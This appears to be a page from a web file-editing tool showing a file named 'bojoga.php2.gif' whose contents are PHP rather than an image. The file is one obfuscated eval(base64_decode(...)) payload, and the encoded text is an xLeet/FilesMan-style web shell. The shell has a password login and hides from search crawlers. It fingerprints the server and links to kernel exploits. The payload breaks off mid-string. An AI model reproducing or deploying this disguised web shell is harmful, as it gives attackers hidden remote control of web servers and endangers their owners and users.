관리-도구
편집 파일: bojoga.php2.gif
<?php eval (base64_decode("CmVycm9yX3JlcG9ydGluZyAoMCk7Ci8vLS0tLS0tLS0tLS0tLS0gU2VsbGVyIFJ1bGV6ICEtLS0tLS0tLS0tLS0tLQppZiAoJF9SRVFVRVNUWyd3YXRjaHgnXSkgewoJJHZlcnNpb24gPSBwaHB2ZXJzaW9uKCk7CgkkdW5hbWUgPSAgcGhwX3VuYW1lKCk7CgkkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7CQoJZWNobyBqc29uX2VuY29kZSAoYXJyYXkgKCJ2ZXJzaW9uIj0+JHZlcnNpb24sCgkJInVuYW1lIj0+JHVuYW1lLAoJCSJwbGF0Zm9ybSI9PlBIUF9PUywKCQkiaXAiPT4kaXAsCgkJIndvcmtpbmd4Ij0+dHJ1ZSwJCgkpKTsKCWRpZSAoKTsKfQovLy0tLS0tLS0tLS0tLS0tLS0tUGFzc3dvcmQtLS0tLS0tLS0tLS0tLS0tLS0tLS0KJOKWmyA9ICI1OWU4ZDk3ZGJjYzFkMGY2NWRlYTZlY2QwZTlmYmUzOSI7IC8veGxlZXQKCiTilpggPSB0cnVlOwok4pacID0gJ1VURi04JzsKJOKWmiA9ICdGaWxlc01hbic7CiTilpkgPSBtZDUoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKaWYgKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0pKSB7Cglwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSIsICTilpkpOwp9CgppZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpCgkkX1BPU1RbJ2NoYXJzZXQnXSA9ICTilpw7CmlmICghaXNzZXQoJF9QT1NUWyduZSddKSkgewoJaWYoaXNzZXQoJF9QT1NUWydhJ10pKSAkX1BPU1RbJ2EnXSA9IGljb252KCJ1dGYtOCIsICRfUE9TVFsnY2hhcnNldCddLCBkZWNyeXB0KCRfUE9TVFsnYSddLCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXSkpOwoJaWYoaXNzZXQoJF9QT1NUWydjJ10pKSAkX1BPU1RbJ2MnXSA9IGljb252KCJ1dGYtOCIsICRfUE9TVFsnY2hhcnNldCddLCBkZWNyeXB0KCRfUE9TVFsnYyddLCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXSkpOwoJaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgJF9QT1NUWydwMSddID0gaWNvbnYoInV0Zi04IiwgJF9QT1NUWydjaGFyc2V0J10sIGRlY3J5cHQoJF9QT1NUWydwMSddLCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXSkpOwoJaWYoaXNzZXQoJF9QT1NUWydwMiddKSkgJF9QT1NUWydwMiddID0gaWNvbnYoInV0Zi04IiwgJF9QT1NUWydjaGFyc2V0J10sIGRlY3J5cHQoJF9QT1NUWydwMiddLCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXSkpOwoJaWYoaXNzZXQoJF9QT1NUWydwMyddKSkgJF9QT1NUWydwMyddID0gaWNvbnYoInV0Zi04IiwgJF9QT1NUWydjaGFyc2V0J10sIGRlY3J5cHQoJF9QT1NUWydwMyddLCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXSkpOwp9CmZ1bmN0aW9uIGRlY3J5cHQoJHN0ciwkcHdkKXskcHdkPWJhc2U2NF9lbmNvZGUoJHB3ZCk7JHN0cj1iYXNlNjRfZGVjb2RlKCRzdHIpOyRlbmNfY2hyPSIiOyRlbmNfc3RyPSIiOyRpPTA7d2hpbGUoJGk8c3RybGVuKCRzdHIpKXtmb3IoJGo9MDskajxzdHJsZW4oJHB3ZCk7JGorKyl7JGVuY19jaHI9Y2hyKG9yZCgkc3RyWyRpXSleb3JkKCRwd2RbJGpdKSk7JGVuY19zdHIuPSRlbmNfY2hyOyRpKys7aWYoJGk+PXN0cmxlbigkc3RyKSlicmVhazt9fXJldHVybiBiYXNlNjRfZGVjb2RlKCRlbmNfc3RyKTt9CkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOwpAc2V0X3RpbWVfbGltaXQoMCk7CmlmIChQSFBfVkVSU0lPTl9JRCA8IDcwMDAwKQoJQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKQGRlZmluZSgnVkVSU0lPTicsICc0LjIuNScpOwppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7CglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfYXJyYXkoJGFycmF5KSB7CgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ3N0cmlwc2xhc2hlc19hcnJheScsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsKCX0KCSRfUE9TVCA9IHN0cmlwc2xhc2hlc19hcnJheSgkX1BPU1QpOwogICAgJF9DT09LSUUgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9DT09LSUUpOwp9Ci8qICjQoSkgMTEuMjAxMSBvUmIgKi8KaWYoIWVtcHR5KCTilpspKSB7CiAgICBpZihpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJOKWmykpCiAgICAgICAgcHJvdG90eXBlKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLCAk4pabKTsKICAgIGlmICghaXNzZXQoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSB8fCAoJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICE9ICTilpspKQogICAgICAgIGhhcmRMb2dpbigpOwp9CmlmKCFpc3NldCgkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQogICAgJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnYWpheCddID0gKGJvb2wpJOKWmDsKZnVuY3Rpb24gaGFyZExvZ2luKCkgewoJCWlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CgkJICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7CgkJICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7CgkJICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsKCQkgIGV4aXQ7CgkJICB9CgkJfQoJZGllKCI8cHJlIGFsaWduPWNlbnRlcj48Zm9ybSBtZXRob2Q9cG9zdD5QYXNzd29yZDxicj48aW5wdXQgdHlwZT1wYXNzd29yZCBuYW1lPXBhc3Mgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6d2hpdGVzbW9rZTtib3JkZXI6MXB4IHNvbGlkICNGRkY7b3V0bGluZTpub25lOycgcmVxdWlyZWQ+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9J3dhdGNoaW5nJyB2YWx1ZT0nc3VibWl0JyBzdHlsZT0nYm9yZGVyOm5vbmU7YmFja2dyb3VuZC1jb2xvcjojNTZBRDE1O2NvbG9yOiNmZmY7Y3Vyc29yOnBvaW50ZXI7Jz48L2Zvcm0+PC9wcmU+Iik7Cn0KaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpID09ICJ3aW4iKQoJJG9zID0gJ3dpbic7CmVsc2UKCSRvcyA9ICduaXgnOwokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZighJHNhZmVfbW9kZSkKICAgIGVycm9yX3JlcG9ydGluZygwKTsKJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiRob21lX2N3ZCA9IEBnZXRjd2QoKTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKQoJQGNoZGlyKCRfUE9TVFsnYyddKTsKJGN3ZCA9IEBnZXRjd2QoKTsKaWYoJG9zID09ICd3aW4nKSB7CgkkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7CgkkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsKfQppZigkY3dkW3N0cmxlbigkY3dkKS0xXSAhPSAnLycpCgkkY3dkIC49ICcvJzsKLyogKNChKSAwNC4yMDE1IFBpcmF0ICovCmZ1bmN0aW9uIGhhcmRIZWFkZXIoKSB7CglpZihlbXB0eSgkX1BPU1RbJ2NoYXJzZXQnXSkpCgkJJF9QT1NUWydjaGFyc2V0J10gPSAkR0xPQkFMU1sn4pacJ107CgllY2hvICI8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD0iIC4gJF9QT1NUWydjaGFyc2V0J10gLiAiJz48dGl0bGU+IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXSAuICIgLSB4TGVldCAiIC4gVkVSU0lPTiAuIjwvdGl0bGU+CjxzdHlsZT4KCWJvZHkge2JhY2tncm91bmQtY29sb3I6IzA2MEExMDsgY29sb3I6I2UxZTFlMTsgbWFyZ2luOjA7IGZvbnQ6bm9ybWFsIDc1JSBBcmlhbCwgSGVsdmV0aWNhLCBzYW5zLXNlcmlmOyB9IGNhbnZhc3sgZGlzcGxheTogYmxvY2s7IHZlcnRpY2FsLWFsaWduOiBib3R0b207fQoJI3BhcnRpY2xlcy1qc3t3aWR0aDogMTAwJTsgaGVpZ2h0OiAxMDBweDsgYmFja2dyb3VuZC1jb2xvcjogIzA2MGExMDsgYmFja2dyb3VuZC1pbWFnZTogdXJsKCcnKTsgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDsgYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsgYmFja2dyb3VuZC1wb3NpdGlvbjogNTAlIDUwJTt9Cglib2R5LHRkLHRoCXtmb250OjEwcHQgdGFob21hLGFyaWFsLHZlcmRhbmEsc2Fucy1zZXJpZixMdWNpZGEgU2FuczttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7fQoJdGFibGUuaW5mbwl7Y29sb3I6I0MzQzNDMzt9Cgl0YWJsZSN0b29sc1RibCB7YmFja2dyb3VuZC1jb2xvcjogIzA2MEExMDt9CglzcGFuLGgxLGEJe2NvbG9yOiNmZmYgIWltcG9ydGFudDt9CglzcGFuCQl7Zm9udC13ZWlnaHQ6Ym9sZGVyO30KCWgxCQkJe2JvcmRlci1sZWZ0OjVweCBzb2xpZCAjMkU2RTlDO3BhZGRpbmc6MnB4IDVweDtmb250OjE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMxMDE1MWM7bWFyZ2luOjBweDt9CglkaXYuY29udGVudAl7cGFkZGluZzo1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzA2MGExMDt9CglhCQkJe3RleHQtZGVjb3JhdGlvbjpub25lO30KCWE6aG92ZXIJCXt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30KCS50b29sdGlwOjphZnRlciB7YmFja2dyb3VuZDojMDY2M0Q1O2NvbG9yOiNGRkY7Y29udGVudDogYXR0cihkYXRhLXRvb2x0aXApO21hcmdpbi10b3A6LTUwcHg7ZGlzcGxheTpibG9jaztwYWRkaW5nOjZweCAxMHB4O3Bvc2l0aW9uOmFic29sdXRlO3Zpc2liaWxpdHk6aGlkZGVuO30KCS50b29sdGlwOmhvdmVyOjphZnRlciB7b3BhY2l0eToxO3Zpc2liaWxpdHk6dmlzaWJsZTt9CgkubWwxCQl7Ym9yZGVyOjFweCBzb2xpZCAjMjAyODMyO3BhZGRpbmc6NXB4O21hcmdpbjowO292ZXJmbG93OmF1dG87fQoJLmJpZ2FyZWEJe21pbi13aWR0aDoxMDAlO21heC13aWR0aDoxMDAlO2hlaWdodDo0MDBweDt9CglpbnB1dCwgdGV4dGFyZWEsIHNlbGVjdAl7bWFyZ2luOjA7Y29sb3I6I2ZmZjtiYWNrZ3JvdW5kLWNvbG9yOiMyMDI4MzI7Ym9yZGVyOm5vbmU7Zm9udDo5cHQgQ291cmllciBOZXc7b3V0bGluZTpub25lO30KCWxhYmVsIHtwb3NpdGlvbjpyZWxhdGl2ZX0KCWxhYmVsOmFmdGVyIHtjb250ZW50Oic8Pic7Zm9udDoxMHB4ICdDb25zb2xhcycsIG1vbm9zcGFjZTtjb2xvcjojZmZmOy13ZWJraXQtdHJhbnNmb3JtOnJvdGF0ZSg5MGRlZyk7LW1vei10cmFuc2Zvcm06cm90YXRlKDkwZGVnKTstbXMtdHJhbnNmb3JtOnJvdGF0ZSg5MGRlZyk7dHJhbnNmb3JtOnJvdGF0ZSg5MGRlZyk7cmlnaHQ6M3B4OyB0b3A6M3B4O3BhZGRpbmc6MDtwb3NpdGlvbjphYnNvbHV0ZTtwb2ludGVyLWV2ZW50czpub25lO30KCWxhYmVsOmJlZm9yZSB7Y29udGVudDonJztyaWdodDowOyB0b3A6MDt3aWR0aDoxN3B4OyBoZWlnaHQ6MTdweDtiYWNrZ3JvdW5kOiMyMDI4MzI7cG9zaXRpb246YWJzb2x1dGU7cG9pbnRlci1ldmVudHM6bm9uZTtkaXNwbGF5OmJsb2NrO30KCWZvcm0JCXttYXJnaW46MHB4O30KCSN0b29sc1RibAl7dGV4dC1hbGlnbjpjZW50ZXI7fQoJI2ZhayAJCXtiYWNrZ3JvdW5kOm5vbmU7fQoJI2ZhayB0ZCAJe3BhZGRpbmc6NXB4IDAgMCAwO30KCWlmcmFtZQkJe2JvcmRlcjoxcHggc29saWQgIzA2MGExMDt9CgkudG9vbHNJbnAJe3dpZHRoOjMwMHB4fQoJLm1haW4gdGgJe3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiMwNjBhMTA7fQoJLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojMzU0MjUyO30KCS5tYWluIHRkLCB0aHt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fQoJaW5wdXRbdHlwZT0nc3VibWl0J117YmFja2dyb3VuZC1jb2xvcjojMkU2RTlDO30KCWlucHV0W3R5cGU9J2J1dHRvbidde2JhY2tncm91bmQtY29sb3I6IzJFNkU5Qzt9CglpbnB1dFt0eXBlPSdzdWJtaXQnXTpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1NkFEMTU7fQoJaW5wdXRbdHlwZT0nYnV0dG9uJ106aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNTZBRDE1O30KCS5sMQkJCXtiYWNrZ3JvdW5kLWNvbG9yOiMyMDI4MzI7fQoJcHJlCQkJe2ZvbnQ6OXB0IENvdXJpZXIgTmV3O30KPC9zdHlsZT4KPHNjcmlwdD4KICAgIHZhciBjXyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4gIic7CiAgICB2YXIgYV8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIicKICAgIHZhciBjaGFyc2V0XyA9ICciIC4gaHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydjaGFyc2V0J10pIC4iJzsKICAgIHZhciBwMV8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AxJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10sRU5UX1FVT1RFUykpIC4iJzsKICAgIHZhciBwMl8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AyJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10sRU5UX1FVT1RFUykpIC4iJzsKICAgIHZhciBwM18gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AzJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10sRU5UX1FVT1RFUykpIC4iJzsKICAgIHZhciBkID0gZG9jdW1lbnQ7CgkKCWZ1bmN0aW9uIGVuY3J5cHQoc3RyLHB3ZCl7aWYocHdkPT1udWxsfHxwd2QubGVuZ3RoPD0wKXtyZXR1cm4gbnVsbDt9c3RyPWJhc2U2NF9lbmNvZGUoc3RyKTtwd2Q9YmFzZTY0X2VuY29kZShwd2QpO3ZhciBlbmNfY2hyPScnO3ZhciBlbmNfc3RyPScnO3ZhciBpPTA7d2hpbGUoaTxzdHIubGVuZ3RoKXtmb3IodmFyIGo9MDtqPHB3ZC5sZW5ndGg7aisrKXtlbmNfY2hyPXN0ci5jaGFyQ29kZUF0KGkpXnB3ZC5jaGFyQ29kZUF0KGopO2VuY19zdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUoZW5jX2Nocik7aSsrO2lmKGk+PXN0ci5sZW5ndGgpYnJlYWs7fX1yZXR1cm4gYmFzZTY0X2VuY29kZShlbmNfc3RyKTt9CglmdW5jdGlvbiB1dGY4X2VuY29kZShhcmdTdHJpbmcpe3ZhciBzdHJpbmc9KGFyZ1N0cmluZysnJyk7dmFyIHV0ZnRleHQ9Jycsc3RhcnQsZW5kLHN0cmluZ2w9MDtzdGFydD1lbmQ9MDtzdHJpbmdsPXN0cmluZy5sZW5ndGg7Zm9yKHZhciBuPTA7bjxzdHJpbmdsO24rKyl7dmFyIGMxPXN0cmluZy5jaGFyQ29kZUF0KG4pO3ZhciBlbmM9bnVsbDtpZihjMTwxMjgpe2VuZCsrO31lbHNlIGlmKGMxPjEyNyYmYzE8MjA0OCl7ZW5jPVN0cmluZy5mcm9tQ2hhckNvZGUoKGMxPj42KXwxOTIpK1N0cmluZy5mcm9tQ2hhckNvZGUoKGMxJjYzKXwxMjgpO31lbHNle2VuYz1TdHJpbmcuZnJvbUNoYXJDb2RlKChjMT4+MTIpfDIyNCkrU3RyaW5nLmZyb21DaGFyQ29kZSgoKGMxPj42KSY2Myl8MTI4KStTdHJpbmcuZnJvbUNoYXJDb2RlKChjMSY2Myl8MTI4KTt9aWYoZW5jIT09bnVsbCl7aWYoZW5kPnN0YXJ0KXt1dGZ0ZXh0Kz1zdHJpbmcuc2xpY2Uoc3RhcnQsZW5kKTt9dXRmdGV4dCs9ZW5jO3N0YXJ0PWVuZD1uKzE7fX1pZihlbmQ+c3RhcnQpe3V0ZnRleHQrPXN0cmluZy5zbGljZShzdGFydCxzdHJpbmdsKTt9cmV0dXJuIHV0ZnRleHQ7fQoJZnVuY3Rpb24gYmFzZTY0X2VuY29kZShkYXRhKXt2YXIgYjY0ID0gJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky89Jzt2YXIgbzEsbzIsbzMsaDEsaDIsaDMsaDQsYml0cyxpPTAsYWM9MCxlbmM9JycsdG1wX2Fycj1bXTtpZiAoIWRhdGEpe3JldHVybiBkYXRhO31kYXRhPXV0ZjhfZW5jb2RlKGRhdGErJycpO2Rve28xPWRhdGEuY2hhckNvZGVBdChpKyspO28yPWRhdGEuY2hhckNvZGVBdChpKyspO28zPWRhdGEuY2hhckNvZGVBdChpKyspO2JpdHM9bzE8PDE2fG8yPDw4fG8zO2gxPWJpdHM+PjE4JjB4M2Y7aDI9Yml0cz4+MTImMHgzZjtoMz1iaXRzPj42JjB4M2Y7aDQ9Yml0cyYweDNmO3RtcF9hcnJbYWMrK109YjY0LmNoYXJBdChoMSkrYjY0LmNoYXJBdChoMikrYjY0LmNoYXJBdChoMykrYjY0LmNoYXJBdChoNCk7fXdoaWxlKGk8ZGF0YS5sZW5ndGgpO2VuYz10bXBfYXJyLmpvaW4oJycpO3N3aXRjaCAoZGF0YS5sZW5ndGglMyl7Y2FzZSAxOmVuYz1lbmMuc2xpY2UoMCwtMikrJz09JzticmVhaztjYXNlIDI6ZW5jPWVuYy5zbGljZSgwLC0xKSsnPSc7YnJlYWs7fXJldHVybiBlbmM7fQoJZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CgkJaWYoYSE9bnVsbClkLm1mLmEudmFsdWU9YTtlbHNlIGQubWYuYS52YWx1ZT1hXzsKCQlpZihjIT1udWxsKWQubWYuYy52YWx1ZT1jO2Vsc2UgZC5tZi5jLnZhbHVlPWNfOwoJCWlmKHAxIT1udWxsKWQubWYucDEudmFsdWU9cDE7ZWxzZSBkLm1mLnAxLnZhbHVlPXAxXzsKCQlpZihwMiE9bnVsbClkLm1mLnAyLnZhbHVlPXAyO2Vsc2UgZC5tZi5wMi52YWx1ZT1wMl87CgkJaWYocDMhPW51bGwpZC5tZi5wMy52YWx1ZT1wMztlbHNlIGQubWYucDMudmFsdWU9cDNfOwoJCWQubWYuYS52YWx1ZSA9IGVuY3J5cHQoZC5tZi5hLnZhbHVlLCciLiRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXS4iJyk7CgkJZC5tZi5jLnZhbHVlID0gZW5jcnlwdChkLm1mLmMudmFsdWUsJyIuJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdLiInKTsKCQlkLm1mLnAxLnZhbHVlID0gZW5jcnlwdChkLm1mLnAxLnZhbHVlLCciLiRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLiJrZXkiXS4iJyk7CgkJZC5tZi5wMi52YWx1ZSA9IGVuY3J5cHQoZC5tZi5wMi52YWx1ZSwnIi4kX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4ia2V5Il0uIicpOwoJCWQubWYucDMudmFsdWUgPSBlbmNyeXB0KGQubWYucDMudmFsdWUsJyIuJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuImtleSJdLiInKTsKCQlpZihjaGFyc2V0IT1udWxsKWQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOwoJfQoJZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7CgkJZC5tZi5zdWJtaXQoKTsKCX0KCWZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwoJCXZhciBwYXJhbXMgPSAnYWpheD10cnVlJzsKCQlmb3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQoJCQlwYXJhbXMgKz0gJyYnK2QubWYuZWxlbWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50KGQubWYuZWxlbWVudHNbaV0udmFsdWUpOwoJCXNyKCciIC4gYWRkc2xhc2hlcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwYXJhbXMpOwoJfQoJZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsKCQlpZiAod2luZG93LlhNTEh0dHBSZXF1ZXN0KQoJCQlyZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkKCQkJcmVxID0gbmV3IEFjdGl2ZVhPYmplY3QoJ01pY3Jvc29mdC5YTUxIVFRQJyk7CiAgICAgICAgaWYgKHJlcSkgewogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKICAgICAgICAgICAgcmVxLm9wZW4oJ1BPU1QnLCB1cmwsIHRydWUpOwogICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnKTsKICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsKICAgICAgICB9Cgl9CglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgewoJCWlmKCAocmVxLnJlYWR5U3RhdGUgPT0gNCkgKQoJCQlpZihyZXEuc3RhdHVzID09IDIwMCkgewoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOwoJCQkJdmFyIGFycj1yZWcuZXhlYyhyZXEucmVzcG9uc2VUZXh0KTsKCQkJCWV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsKCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOwoJfQo8L3NjcmlwdD4KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7YmFja2dyb3VuZC1jb2xvcjpyZ2JhKDk1LCAxMTAsIDEzMCwgMC4zKTt3aWR0aDoxMDAlO3RvcDowO2xlZnQ6MDsnPgo8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YT4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Yz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4KPC9mb3JtPiI7CgkkZnJlZVNwYWNlID0gQGRpc2tmcmVlc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsKCSR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsKCSR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTsKCSRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOwoJJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsKCSRleHBsaW5rID0gJ2h0dHA6Ly9ub3JlZmVyZXIuZGUvP2h0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vc2VhcmNoLz9hY3Rpb249c2VhcmNoJmRlc2NyaXB0aW9uPSc7CglpZihzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlKQoJCSRleHBsaW5rIC49IHVybGVuY29kZSgnTGludXggS2VybmVsICcgLiBzdWJzdHIoJHJlbGVhc2UsMCw2KSk7CgllbHNlCgkJJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCRrZXJuZWwgLiAnICcgLiBzdWJzdHIoJHJlbGVhc2UsMCwzKSk7CglpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKCQkkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CgkJJHVpZCA9IEBnZXRteXVpZCgpOwoJCSRnaWQgPSBAZ2V0bXlnaWQoKTsKCQkkZ3JvdXAgPSAiPyI7Cgl9IGVsc2UgewoJCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk7CgkJJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsKCQkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCQkkdWlkID0gJHVpZFsndWlkJ107CgkJJGdyb3VwID0gJGdpZFsnbmFtZSddOwoJCSRnaWQgPSAkZ2lkWydnaWQnXTsKCX0KCSRjd2RfbGlua3MgPSAnJzsKCSRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7Cgkkbj1jb3VudCgkcGF0aCk7Cglmb3IoJGk9MDsgJGk8JG4tMTsgJGkrKykgewoJCSRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsKCQlmb3IoJGo9MDsgJGo8PSRpOyAkaisrKQoJCQkkY3dkX2xpbmtzIC49ICRwYXRoWyRqXS4nLyc7CgkJJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOwoJfQoJJGNoYXJzZXRzID0gYXJyYXkoJ1VURi04JywgJ1dpbmRvd3MtMTI1MScsICdLT0k4LVInLCAnS09JOC1VJywgJ2NwODY2Jyk7Cgkkb3B0X2NoYXJzZXRzID0gJyc7Cglmb3JlYWNoKCRjaGFyc2V0cyBhcyAk4pafKQoJCSRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb